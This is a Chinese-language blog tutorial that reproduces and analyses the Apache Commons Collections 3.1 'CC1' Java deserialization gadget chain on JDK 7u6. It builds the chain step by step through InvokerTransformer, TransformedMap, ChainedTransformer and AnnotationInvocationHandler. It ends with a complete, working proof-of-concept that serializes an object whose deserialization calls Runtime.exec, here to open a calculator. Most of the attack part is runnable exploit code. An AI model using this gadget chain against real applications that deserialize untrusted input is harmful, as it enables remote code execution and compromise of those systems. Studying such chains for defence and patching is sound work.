Java CC1链复现与分析

Apache Commons Collections

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。其实Java JDK已经提供了丰富的集合操作,但是在某些场合下,可能无法满足,apache commons组件提供了更加丰富的集数据结构。

复现环境

1
2
3
Mac OS Big Sur
JDK-7u6
commons-collections3.1

JDK7下载地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

23

下载好之后查看本地JDK版本

1
2
caoyifan@MacBookPro ~ % ls /Library/Java/JavaVirtualMachines 
jdk1.7.0_06.jdk jdk1.8.0_191.jdk
IDEA配置

创建好Maven项目之后,指定对应的JDK版本即可

1

Common Collections3.1通过maven添加

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

漏洞分析

一个简单反射例子

在分析该漏洞之前我们先写一个利用反射弹计算器的例子。后面的漏洞分析会基于这个例子进行修改。

1
2
3
4
5
6
7
8
9
10
import java.lang.reflect.Method;

public class ccTest {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method m = c.getMethod("exec", String.class);
m.invoke(r,"open -a calculator");
}
}
从Trnsformer看起

我们知道该漏洞的问题出现在Transformer接口类,因此我们首先查看一下实现这个类都有哪些方法。

2

这个时候我们随便点进去一个方法看看具体是怎么实现的。例如在ConstantTransformer类返回的是一个常量。在InvokerTransformer类中实现的是一个反射调用,而且参数都是可控的。因此我们尝试利用InvokerTransformer来改写上面的反射的例子。

3

InvokerTransformer

InvokerTransformer类中存在三个参数是我们可控的,因此我们只需要按照transform方法中的调用方式传值就可以了。改写后的代码如下

1
2
3
4
5
6
7
8
9
10
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class ccTest {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(r);
}
}

这个时候我们已经找到了一个点,是InvokerTransformer.transform这个方法,它是一个危险方法,接着我们向上继续找还有哪些调用了transform方法,最好是不同名的

4

TransformedMap

注意到TransformedMap这个类,因为在这个类中有好几处都调用了transform这个方法。

5

跟进checkSetValue方法, 发现调用了valueTransformertransform方法

6

找到TransformedMap的构造函数,发现传入了一个map和两个Transformer,可以理解为接受一个map并对这个mapkeyvalue做一些操作,因为这是一个保护方法, 我们继续找一下在哪里调用了这个方法。

7

在构造方法上面找到了decorate静态方法

8

接着我们向上查找哪些调用了checkSetValue方法,发现只有一处调用了该方法,继续跟进

9

发现是AbstractInputCheckedMapDecorator类中有一个MapEntry类,这个类调用了setValue方法

10

MapEntry

这个时候我们梳理一遍,当我们遍历被修饰的Map的时候,就会走到setValue这个方法,从而会调用checkSetValue,接着调用到了valueTransformer.transform方法,之后就会走到InvokerTransformer.transform方法执行

我们再次尝试改写上面的例子,首先实例化一个map对象,并对map进行装饰,因为在后面执行transform方法的是decorate方法传入的第三个参数,因此我们可以给第二个参数传一个空值,之后通过for循环调用setValue方法将我们的Runtime.getRuntime()对象传入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccTest {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}

}
}
jdk源码关联

这个时候我们继续向上寻找调用链,看哪些类调用了setValue方法,按照流程,我应该能找到在AnnotationInvocationHandler这个类的readObject方法里面调用了setValue方法,可是找了一圈,并没有。。。我以为是我jdk版本的问题,于是在jdk下面查看,路径是rt.jar下面的sun.reflect.annotation,发现这个类不是源代码,所以查找调用的时候不会出现。

对于这个问题我找到了一个相对合理的解答:因为sun包是hotspot虚拟机中java. 和javax.的底层实现。因为包含在rt中,所以我们也可以调用。但是因为不是sun对外公开承诺的接口,所以根据实现的需要随时增减,因此在不同版本的hotspot中可能是不同的,而且在其他的jdk实现中是没有的,调用这些类,可能不会向后兼容,所以一般不推荐使用。因此如果我们需要查看rt.jar包下的源码就需要进行源码关联。

JDK-7u6源代码地址:http://jdk7src.sourceforge.net

24

下载好对应JDK版本之后,在IDEA中就可以设置。进入File->Project Structrue->SDKs->Sourcepath中添加即可

11

这个时候我们再次查看AnnotationInvocationHandler这个类,发现已经是源代码文件了,同样也在setValue放的的调用类中成功找到了这个类

12

AnnotationInvocationHandler

现在我们可以继续修改我们上面写的例子,将AnnotationInvocationHandler类加进去,尝试实例化这个类,但是由于该类不是public的,不能直接在外部调用,因此需要用到反射去获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccTest {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap);

serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
遇到的三个问题

这里就会遇到三个问题,第一个问题是setValue,在上面的例子中我们setValue的值直接传入的是一个Runtime对象,但是在AnnotationInvocationHandler类中,这个传入的值并不是我们可控的。

13

第二个问题是对于Runtime类,它并不是可序列化的,因为它没有继承Serializable接口,因此我们也需要通过反射来实现。

14

第三个问题是进入AnnotationInvocationHandler类的readObject方法中的setValue方法需要满足两个if条件。

15

反射调用Runtime

我们先解决第二个问题,将Runtime对象通过反射实现。

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;

public class RuntimeReflect {
public static void main(String[] args) throws Exception {
Class c = Runtime.class; //通过反射获取到字节码对象
Method getRuntimeMethod = c.getMethod("getRuntime", null); //获取getRuntime静态方法
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null); //获取Runtime对象
Method execMethod = c.getMethod("exec", String.class); //反射调用exec方法
execMethod.invoke(r,"open -a calculator");
}
}

接着我们把这个反射调用改成InvokerTransformer的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class RuntimeReflect {
public static void main(String[] args) throws Exception {

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(r);

}
}
ChainedTransformer

我们可以发现,实际上是对InvokerTransformer类的transform方法连续调用了三次,不由想到在之前的Transformer的实现类中有一个ChainedTransformer,在它的transform方法中就是一个循环调用的形式。

16

因此我们尝试使用ChainedTransformer类调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class RuntimeReflect {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}),

};
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

}
}
Target.class

接着我们继续修改两个if判断的问题。在第一个if之前首先会遍历我们传入的map并将key赋给name,此时我们拿到的name就是在map中put的key,之后会通过memberTypes.get方法获取name,将值赋给memberType。

17

由于我们现在传入的是Override.class,在Override中并没有存在成员方法,因此在get的时候就拿不到任何值,所以得到的memberType就为空。

18

20

因此我们需要找一个有成员方法的class,并将map传入的key值改为成员方法的名字,才可以进入第一层if判断,所以我们使用Target.class代替,并将map.putkey值改为value

19

21

在第二个判断语句中使用isInstance判断是否可以强转,这个判断很明显是false,取反之后正好可以让我们进入第二层if判断,从而执行setValue方法

ConstantTransformer

现在我们接着解决上面的第一个问题,就是需要将setValue中的代理替换成我们的Runtime.class,可以通过ConstantTransformer实现。前面讲到了ConstantTransformertransform方法接收一个输入并返回一个常量,因此我们只需要传入Runtime.class即可

22

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map.Entry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc1Test {
public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

参考链接